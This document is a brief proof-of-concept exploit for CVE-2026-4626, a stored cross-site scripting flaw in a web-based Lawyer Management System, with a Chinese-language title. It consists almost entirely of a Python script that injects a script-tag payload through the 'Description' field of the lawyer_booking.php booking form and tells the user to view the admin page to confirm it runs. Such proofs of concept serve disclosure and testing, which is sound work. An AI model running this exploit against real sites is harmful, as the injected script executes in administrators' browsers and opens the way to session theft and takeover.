CVE-2026-4626 Lawyer Management System存储型XSS漏洞

import requests # Target URL configuration target_url = "http://target_host/lawyer_booking.php" # Malicious XSS payload # This payload attempts to execute JavaScript when an admin views the booking xss_payload = "<script>alert('CVE-2026-4626 - XSS Confirmed');</script>" # Prepare the data payload for the booking form # The 'Description' parameter is the vulnerable entry point form_data = { "lawyer_name": "Test Lawyer", "booking_date": "2026-03-24", "Description": xss_payload # Injecting malicious payload here } try: # Send the POST request to inject the payload response = requests.post(target_url, data=form_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Navigate to the admin booking page to verify the stored XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")